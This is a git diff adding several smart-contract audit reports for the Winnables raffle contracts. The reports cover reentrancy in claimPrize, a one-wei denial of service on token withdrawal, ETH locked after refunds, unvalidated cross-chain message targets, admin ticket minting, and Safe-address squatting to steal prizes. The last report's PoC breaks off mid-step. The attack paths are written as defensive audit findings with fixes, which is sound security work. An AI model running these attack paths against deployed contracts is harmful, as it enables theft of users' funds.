type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } ++ unchecked { ++ _lockedETH -= raffle.totalRaised; ++ } +} +``` \ No newline at end of file diff --git a/001/482.md b/001/482.md new file mode 100644 index 0000000..013cc54 --- /dev/null +++ b/001/482.md @@ -0,0 +1,63 @@ +Eager Corduroy Nightingale + +High + +# Admins Can Manipulate Raffle Odds by Minting Free Tickets by setting themselves as Role1 + +## Summary +Admins can manipulate raffle odds by assigning themselves as role 1 and minting a large number of tickets at no cost. This action directly contradicts the protocol's invariant that "Admins cannot affect the odds of a raffle. + +## Vulnerability Detail +One of the main invariant of the protocols is that "Admins cannot affect the odds of a raffle," but the current implementation allows admins to set themselves as role1. The mint function, as shown below, permits anyone with role 1 to mint tickets for free of cost. This allows admins to mint a large number of tickets, effectively manipulating the odds of the raffle. + +While the protocols ReadMe states that "Admins will not abuse signatures to get free tickets or to distribute them to addresses they control," it does not address the scenario where an admin can directly set themselves as role1 and mint free tickets. It only talks about abusing signature and oversighting the scenario where admins sets themselves as role1. This oversight opens the door to significant abuse. + +Role0 calls the function `setRole` and sets themselves as role1. And then calls the function `mint` and mints a large number of tickets. + +## Impact +The impact of this vulnerability is severe, as it enables an admin to heavily skew the odds of any raffle by minting a large number of tickets at no cost. This manipulation can lead to a loss of trust in the fairness of the raffle system, resulting in financial losses for legitimate participants and damage to the protocol's reputation. + +## Code Snippet +Github:- +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicket.sol#L182 + +```javascript +@> function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L35 + +```javascript + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + +@> function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` + +## Tool used +Manual Review + +## Recommendation +Define the role1 in the constructor and don't let the admins to set role1 to anyone \ No newline at end of file diff --git a/001/485.md b/001/485.md new file mode 100644 index 0000000..a0e61b1 --- /dev/null +++ b/001/485.md @@ -0,0 +1,54 @@ +Prehistoric Metal Rabbit + +Medium + +# `WinnablesTicketManager.withdrawTokens()` can be denied by sending a single wei of the token being withdrawn + +### Summary + +`WinnablesTicketManager.withdrawTokens()` has a wrong < and > check, allowing anyone to deny a call to `withdrawTokens()` by sending a single wei of the token. + +### Root Cause + +We examine the function `withdrawTokens`: + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); // @audit should be > + token.safeTransfer(msg.sender, amount); +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 + +The `if (amount < balance)` condition prevents withdrawing any amount that is strictly below the contract's balance. + +While the admin can still withdraw the full balance of the tokens, anyone can deny the withdraw by front-running and sending one wei of the token into the contract, causing the if to evaluate to true and reverting. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin intends to withdraw LINK, and calls `withdrawTokens()`. The contract currently has 10 LINK, and the admin intends to withdraw all of them. +2. Adversary sends one wei of LINK into the contract. +3. Admin's withdrawal fails due to the aforementioned wrong condition check. + +### Impact + +Adversary can block ERC20 withdrawals by sending a single wei into the contract + +### PoC + +See attack path + +### Mitigation + +The condition should be `if (amount > balance)` \ No newline at end of file diff --git a/001/487.md b/001/487.md new file mode 100644 index 0000000..d723316 --- /dev/null +++ b/001/487.md @@ -0,0 +1,68 @@ +Teeny Marmalade Ladybug + +High + +# Players Claiming Refunds in Canceled Raffles Will Cause ETH to Be Stuck in the `WinnablesTicketManager` Contract + +### Summary + +In the `WinnablesTicketManager` contract, the `_lockedETH` variable does not decrease when players are refunded through the `refundPlayers` function after a raffle is canceled, as there is no logic in the function to update `_lockedETH` accordingly. This results in a discrepancy where the contract’s balance becomes less than the `_lockedETH` value. When the `withdrawETH` function is called, it tries to withdraw all available ETH minus `_lockedETH`, but due to the mismatch, the balance calculation underflows, causing the function to revert when it attempts to send the incorrect amount of ETH to the admin. + + +### Root Cause + +The root cause of this issue lies in the lack of logic to adjust the `_lockedETH` variable within the `refundPlayers` function. When players are refunded, the `_lockedETH` variable should be reduced by the amount refunded to accurately reflect the remaining locked funds. Since this adjustment is missing, the `_lockedETH` value remains higher than the actual contract balance, leading to an underflow during the `withdrawETH` function execution. + +### Internal pre-conditions + +1. A raffle is canceled by the admin. +2. A player calls the `refundPlayers` function to receive a refund for their raffle ticket. + +### External pre-conditions + +None + +### Attack Path + +1. The admin cancels a raffle within the `WinnablesTicketManager` contract. +2. A player calls `refundPlayers` to reclaim their ETH from the canceled raffle. +3. The `refundPlayers` function does not adjust the `_lockedETH` variable. +4. The admin later attempts to withdraw ETH using the `withdrawETH` function. +5. The `balance` variable in `withdrawETH` is calculated incorrectly because `_lockedETH` does not reflect the refunded amount. +6. The `balance` calculation overflows, causing the `withdrawETH` function to revert. +7. As a result, all ETH in the contract remains unclaimable, and no further withdrawals are possible. + +### Impact + +The admin is unable to withdraw ETH from the `WinnablesTicketManager` contract after a player has been refunded, causing any remaining ETH in the contract to become permanently locked. Additionally, all funds deposited from future raffles after the refund will also be trapped, leading to significant financial losses for the protocol. + +### PoC + +_No response_ + +### Mitigation + +Add these lines in `WinnablesTicketManager::refundPlayers` function: +```solidity + function refundPlayers( + uint256 raffleId, + address[] calldata players + ) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) + revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); +++ _lockedETH -= amountToSend; + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } + } +``` \ No newline at end of file diff --git a/001/489.md b/001/489.md new file mode 100644 index 0000000..f1d5aca --- /dev/null +++ b/001/489.md @@ -0,0 +1,100 @@ +Tart Clay Hippo + +High + +# WinnablesTicketManager.sol#refundPlayers - `_lockedETH` is not decreased leading to stuck of funds + +## Summary +`_lockedETH` is not decreased inside `refundPlayers`, leading to a stuck of funds. + +## Vulnerability Detail +`_lockedETH` is increased when users buy tickets because it holds all the ETH that users had paid to buy tickets for a raffle. +```js + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; +>> _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +Later, when the raffle ends, and the winner is chosen, that ETH is "unlocked" by decreasing the `_lockedETH`. +```js + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { +>> _lockedETH -= raffle.totalRaised; + } + } +``` +Then the admin can withdraw the ETH from the ended raffles. +```js + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +This is done so that the admin cannot withdraw ETH if the raffle has not ended. The problem is that the raffle can be canceled if not enough tickets are sold. If this happens, users will call `refundPlayers` to get their ETH back. However, when ETH is refunded to the users, `_lockedETH` is not decreased. This causes wrong accounting of the `locked ETH` and later when the admin wants to withdraw, the ETH they can withdraw will be less than what they can. + +## Impact +Stuck of funds since `locked ETH` will be more than the actual locked ETH in the raffles. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 + +## Tool used + +Manual Review + +## Recommendation +```diff + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); +++ _lockedETH -= amountToSend; + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` \ No newline at end of file diff --git a/001/490.md b/001/490.md new file mode 100644 index 0000000..29d4a18 --- /dev/null +++ b/001/490.md @@ -0,0 +1,53 @@ +Keen Scarlet Loris + +High + +# A malicious raffle winner can steal most ETH from the contract + +## Summary +If a raffle's prize is ETH, a malicious winner can re-enter into the `claimPrize` function and steal most ETH from the contract. + +## Vulnerability Detail +In WinnablesPrizeManager.sol, `claimPrize()` function is used to receive the prize from a raffle, for example, ETH prize. However this function lacks a reentrancy guard, so a malicious winner of an ETH raffle can steal ETH from the protocol if they use a contract and re-enter into the same function until most ETH is transferred to them. +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } +@> _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +## Impact +The protocol could get drained of ETH by a malicious raffle winner + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L317 + +## Tool used + +Manual Review + +## Recommendation +Implement a reentrancy guard on the `claimPrize()` function and/or rewrite the code so it follows CEI pattern. \ No newline at end of file diff --git a/001/492.md b/001/492.md new file mode 100644 index 0000000..fb46602 --- /dev/null +++ b/001/492.md @@ -0,0 +1,37 @@ +Polite Canvas Eagle + +High + +# `withdrawTokens` in `WinnablesTicketManager` is prone to DOS attacks + +## Summary +Due to an improper check in `withdrawTokens`, the function becomes prone to DOS attacks, preventing the admin from withdrawing tokens when they want to. + +## Vulnerability Detail +Look at the `withdrawTokens` function: + +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +The check here - ` if (amount < balance) revert InsufficientBalance();` is incorrect. It should be `(amount > balance)`. This prevents the admin from withdrawing the number of tokens they want. They will only ever be able to withdraw `balance` amount of tokens. This breaks the intended functionality. + +In addition, the function is also prone to DOS attacks. When a user sees the `withdrawTokens` transaction in the mempool, where the admin is trying to withdraw `amount==balance` number of tokens(which is the only possible way to use it), a malicious actor would transfer 1 wei to the contract, such that the amount becomes less than the balance now. Hence, the function reverts. The actor can keep doing these attacks as long as they want (easily more than 1 week), as the cost is negligible (only 1 wei + gas cost on Avalanche), preventing the admin from withdrawing tokens. + +## Impact +Admin can be denied from withdrawing tokens. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292 + +## Tool used + +Manual Review + +## Recommendation +Use the correct check: +` if (amount > balance) revert InsufficientBalance();` \ No newline at end of file diff --git a/001/493.md b/001/493.md new file mode 100644 index 0000000..1df6fc6 --- /dev/null +++ b/001/493.md @@ -0,0 +1,84 @@ +Abundant Khaki Deer + +High + +# Reentrancy Vulnerability in `WinnablesPrizeManager::claimPrize` Function Due to Incorrect Operation Order (CEI not followed) + +## Summary +The `claimPrize` function in the smart contract is vulnerable to a reentrancy attack due to the incorrect order of operations. This vulnerability allows an attacker to claim a prize multiple times, potentially draining the contract of its ETH balance. + +## Vulnerability Detail + +The vulnerability stems from the current order of operations in the `claimPrize` function: + +1. The function first processes the prize distribution (sending ETH, transferring tokens, or unlocking NFTs). +2. Only after sending the prize does it check if the caller is the legitimate winner. +3. Finally, it checks if the prize has already been claimed and updates the status. + +This order violates the "checks-effects-interactions" pattern, creating a window for reentrancy, particularly for ETH prizes. An attacker can exploit this by: + +1. Creating a malicious contract that calls claimPrize. +2. In the receive function of this malicious contract, calling claimPrize again before the first transaction completes. +3. Repeating this process multiple times, claiming the prize several times before the status is updated to "CLAIMED". + +**Detailed Reentrancy Attack Vector:** + +**Setup** +1. The vulnerable contract is WinnablesPrizeManager.sol, which contains the `claimPrize` function with the following order of operations: +- Send prize +- Check if caller is winner +- Check if prize is already claimed +- Mark prize as claimed +2. Let's suppose an ETH raffle exists within the Winnables platform with a prize of 1 ETH. +3. The attacker deploys a malicious contract (let's call it `AttackerContract`) designed to exploit the vulnerability in WinnablesPrizeManager. + +**Attack Preparation** +The `AttackerContract` includes an `executePrizeClaimAttack` function that calls the `WinnablesPrizeManager.claimPrize` function, and a receive function designed to re-enter the claimPrize function. + +**Attack Execution** +1. The attacker calls `AttackerContract.executePrizeClaimAttack()`, which in turn calls `WinnablesPrizeManager.claimPrize(raffleId)`. +2. `WinnablesPrizeManager.claimPrize` begins execution: +- It determines the prize type is ETH. +- It updates the ethLocked state variable (reducing it by the prize amount). +- It calls `_sendETHPrize` to transfer 1 ETH to the AttackerContract. +3. The ETH transfer triggers the receive function in AttackerContract. +4. Inside the receive function, before the first claimPrize call has completed, `AttackerContract` immediately calls `WinnablesPrizeManager.claimPrize(raffleId)` again. +5. This second call to `claimPrize` begins execution: +- It again determines the prize type is ETH. +- It again updates the ethLocked state variable. +- It again calls _sendETHPrize to transfer 1 ETH to the AttackerContract. +6. This process repeats, creating a recursive loop of claimPrize calls, each transferring 1 ETH to the AttackerContract. +7. The loop continues until completely draining the contract +8. Once the recursive calls complete, the original `claimPrize` execution continues: +- It checks if the caller (AttackerContract) is eligible for the prize - this check passes due to the vulnerability. +- It checks if the prize is already claimed - this check passes as it hasn't been marked claimed yet. +- It marks the prize as claimed. + +The attack is complete. The `AttackerContract` has now received multiple payouts of the 1 ETH prize from the `WinnablesPrizeManager` contract. + +## Impact + +The impact of this vulnerability is significant: + +1. Financial Loss: The contract could be drained of all its ETH, leading to substantial financial losses for the protocol and its users. +2. Fairness Violation: It undermines the fairness of the raffle system, allowing a single winner to claim multiple prizes. +3. Trust Erosion: Once exploited, this vulnerability would severely damage user trust in the platform. +4. Potential System Halt: If the contract relies on maintaining an ETH balance for operations, this attack could effectively halt the entire system. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation + +To fix this vulnerability, implement the checks-effects-interactions pattern: + +1. First, check if the caller is the winner and if the prize hasn't been claimed yet. +2. Then, update the prize status to CLAIMED. +3. Finally, send the prize. + +Additionally, consider implementing a reentrancy guard using OpenZeppelin's ReentrancyGuard contract as an extra layer of protection. \ No newline at end of file diff --git a/001/494.md b/001/494.md new file mode 100644 index 0000000..3665c8e --- /dev/null +++ b/001/494.md @@ -0,0 +1,46 @@ +Tall Ultraviolet Porcupine + +High + +# A malicious user can permanently lock the prizes, exposing the protocol to loss + +### Summary + +The lack of validation for the target chain and recipient of the CCIP message in the `cancelRaffle` function can lead to rewards being permanently locked in the `WinnablesPrizeManager` contract. The contract owner has no way to transfer the locked rewards, which puts the protocol at risk of financial loss. + +### Root Cause + +In [WinnablesTicketManager.sol:278](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L278-L278), there is no validation to ensure that the caller of the `cancelRaffle` function has provided the correct target chain selector and recipient (Prize Manager). As a result, an attacker can send messages to any other contract instead of the intended one. + +### Internal pre-conditions + +1. The admin must lock a reward in the `WinnablesPrizeManager.sol` contract. +2. `WinnablesTicketManager.sol` must receive the message and change the reward status to `PRIZE_LOCKED`. + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker monitors the change in reward status on Avalanche by observing the mempool or listening for the `RafflePrizeLocked` event. +2. After the status change, the attacker calls the `cancelRaffle` function with parameters that allow the transaction to proceed but without sending the message to the `PrizeManager`. +3. Once the `cancelRaffle` function is executed, the status of the raffle in the TicketManager will be changed to `CANCELED`, preventing further status changes. +4. The absence of the received message in `WinnablesPrizeManager` means that the `_ccipReceive` and `_cancelRaffle` functions, which unlock the assets locked as rewards, will not be triggered. + +### Impact + +1. The protocol incurs a loss due to CCIP transmission fees in the `WinnablesTicketManager`. +2. The reward in `WinnablesPrizeManager` becomes permanently locked because only a received message can unlock the reward (the admin can only withdraw unlocked assets via the `withdrawToken`, `withdrawNFT`, and `withdrawETH` functions). + +### PoC + +_No response_ + +### Mitigation + +1. If the `cancelRaffle` function is intended to be available to everyone, the data provided by the user should be validated, allowing only the appropriate `prizeManager` and `chainSelector`. +2. A good solution could be to set these parameters (since they are immutable for the chain) beforehand, so they don't need to be provided as function arguments. + +The final solution should align with the application's design decisions. \ No newline at end of file diff --git a/001/495.md b/001/495.md new file mode 100644 index 0000000..199ae31 --- /dev/null +++ b/001/495.md @@ -0,0 +1,78 @@ +Active Coal Lynx + +High + +# Not checking if `chainSelector` or `prizeManager` are correct in the `cancelRaffle()` and `propagateRaffleWinner()` functions will cause discrepancies between contracts, breaking contract functionality. + +### Summary + +`chainSelector` and `prizeManager` parameters aren't validated in the [`cancelRaffle()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) and [`propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) functions. Since these functions are public, any user can call these functions with arbitrary `chainSelector` and `prizeManager` values. Attackers can leverage this to send CCIP messages to random chains/addresses and irrecoverably lock the whole raffle since the intended contract/chain will never receive the CCIP message. + +### Root Cause + +The [`cancelRaffle()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) and [`propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) functions shown below do not confirm if the `chainSelector` or `prizeManager` are correct. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +### Internal pre-conditions + +1) Any user must call `cancelRaffle()` if raffle should be cancelled, or they must call `propagateRaffleWinner()` if raffle is fulfilled with incorrect `chainSelector` or `prizeManager`. + +### External pre-conditions + +_No response_ + +### Attack Path + +Consider the following scenarios. +First scenario: +1) A raffle fails and must be cancelled +2) Before anyone can call the `cancelRafle()` function, any user calls this function with incorrect `chainSelector` or `prizeManager`. +3) CCIP call goes through to the wrong destination +4) Raffle status is updated to `RaffleStatus.CANCELED` +5) Message never reaches the `WinnablesPrizeManager.sol` contract, not cancelling the raffle in this contract, this will cause issues such as prize tokens never being unlocked. +6) Any subsequent calls to the `cancelRaffle()` function with correct parameters will fail due to the raffle status being `RaffleStatus.CANCELED`. + +Second scenario: +1) A raffle is succesful, and raffle status is set to `RaffleStatus.FULFILLED`. +2) Before anyone can call the `propagateRaffleWinner()` function, any user calls this function with incorrect `chainSelector` or `prizeManager`. +3) CCIP call goes through to the wrong destination +4) Raffle status is updated to `RaffleStatus.PROPAGATED` +5) Message never reaches the `WinnablesPrizeManager.sol` contract, not setting a winner in this contract. +6) Any subsequent calls to the `propagateRaffleWinner()` function with correct parameters will fail due to the raffle status not being `RaffleStatus.FULFILLED`. This raffle will also not be able to be cancelled. + +### Impact + +A raffle will either never be able to cancelled or a winner will never be drawn in the `WinnablesPrizeManager.sol` contract. Tokens that should be unlocked will stay locked or prize tokens will forever be stuck with no way to cancel the raffle and winner will not be able to get their prize. In short, contracts functionalities will be broken. + +### PoC + +_No response_ + +### Mitigation + +Implement checks in relevant functions to make sure that inputted `chainSelector` and `prizeManager` are correct. \ No newline at end of file diff --git a/001/497.md b/001/497.md new file mode 100644 index 0000000..79fc45d --- /dev/null +++ b/001/497.md @@ -0,0 +1,73 @@ +Lone Peanut Swallow + +High + +# Winners participating with a Safe wallet can have their prize stolen under certain conditions + +## Summary + +Given that Safe wallets are deployed by [Safe's ProxyFactory](https://snowtrace.io/address/0xC22834581EbC8527d974F8a1c97E1bEA4EF910BC/contract/43114/code), and that such deployments are chain independent, users that enter a raffle using a Safe on Avalanche are not guaranteed to be the end receivers of the prize on Ethereum. + +## Vulnerability Detail + +The protocol bears the core assumption that users on Avalanche have access to the same account on Ethereum. +This can be found by analyzing the payload of the CCIP message sent from Avalanche's [`WinnablesTicketManager.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol) to Ethereum's [`WinnablesPrizeManager.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol) : the [`WinnablesTicketManager.propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) method computes the winner of a given raffle leveraging the [`WinnablesTicketManager._getWinnerByRequestId`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) internal method. Such method computes and returns the owner of the winning ticket's ID. +Once the winner has been computed, the `WinnablesTicketManager.propagateRaffleWinner` then dispatches a CCIP message containing the raffle's winner to `WinnablesPrizeManager.sol` on Ethereum, which is ultimately captured by the [`WinnablesPrizeManager._ccipReceive`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260) internal method. +Upon receiving a `WINNER_DRAWN` message, the `WinnablesPrizeManager.sol` contract decodes the incoming CCIP message's payload as is and sets the raffle winner to the received address. +Only the winner of the raffle is thus able to claim his prize by calling [`WinnablesPrizeManager.claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105), providing it with the correct raffle ID. + +The protocol also allows smart contracts to buy tickets and participate in raffles, as can be understood by examining the [`WinnablesTicket.mint`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function, which executes an [acceptance check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L218-L234) on the receiver of the newly minted tickets in the case in which the recipient is found to be an account with code. As such, Safe wallets are fully supported by the protocol, given that they [support ERC1155 assets](https://help.safe.global/en/articles/40825-supported-asset-types). + +Observing this, in the scenario in which: +1. The winner of a given raffle participated by using a Safe wallet, and +2. The Safe wallet used by the user on Avalanche has **not yet been created on Ethereum**. + +An attacker is able to rush to deploy instances of Safe wallets on Ethereum, until he is able to mint the Safe whose address matches that of the winner on Avalanche. By doing so, the attacker will become the owner of a Safe wallet deployed at the raffle's winner address, effectively gaining the ability to claim the raffle's prize via his Safe. + +In particular, notice that: +1. In case Avalanche's `ProxyFactory`'s nonce is higher than Ethereum's, the attacker is able to create the necessary conditions to meet condition 2. by deploying a large number of Safe wallets himself. +2. Given the asynchronous nature of the winner transmission, an attacker disposes of an amount of time (equal to the time it takes the CCIP infrastructure to deposit the message propagating the raffle winner) in which he can spam Safe deployments to reach the victim wallet's nonce. Such deployments can occur at a pace of 160 contracts per Ethereum transaction, as is shown in the reference posted below. +3. Given that the code deployed at [Avalanche's ProxyFactory](https://snowtrace.io/address/0xC22834581EbC8527d974F8a1c97E1bEA4EF910BC/contract/) matches the one deployed on the [same account on Ethereum](https://etherscan.io/address/0xC22834581EbC8527d974F8a1c97E1bEA4EF910BC#code), the same chain of Safe wallets can be generated by anyone. + +As a result, after the attacker has successfully deployed a Safe wallet under his possession to the raffle winner's address, he can steal the prize by simply calling `WinnablesPrizeManager.claimPrize`. + +For reference of the exploitability of this exact attack vector, see how it was leveraged to [steal 20M OP tokens from Wintermute](https://inspexco.medium.com/how-20-million-op-was-stolen-from-the-multisig-wallet-not-yet-owned-by-wintermute-3f6c75db740a). + +## Impact + +High. +Under particular conditions, an attacker is able to steal the prize won by a user who participated in a raffle using a Safe wallet. + +## Code Snippet + +- `WinnablesTicket.sol` + - [`mint`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182) + - [`_doSafeTransferAcceptanceCheck`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L218) +- `WinnablesTicketManager.sol` + - [`buyTickets`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182) + - [`propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) + - [`_getWinnerByRequetId`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472) +- `WinnablesPrizeManager.sol` + - [`claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105) + - [`_ccipReceive`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260) + +## PoC + +Following is a step-wise PoC showing how an attacker can steal the prize from users, who have deployed a Safe wallet through the Factory's route that leverages `CREATE2`, which is the most popular way to do so on Avalanche at the time of writing. +A similar, although longer, PoC can be made for Safes deployed using `CREATE`. + +0. Assume that victims Alice and Bob have deployed a 2 of 2 multisig Safe wallet on Avalanche, whose address is `0xCC..CC`. They've done so by calling `ProxyFactory.deployProxyWithNonce`, providing a custom salt `0x012345`. Assume also that Alice and Bob have taken part in the latest Winnables raffle via their Safe 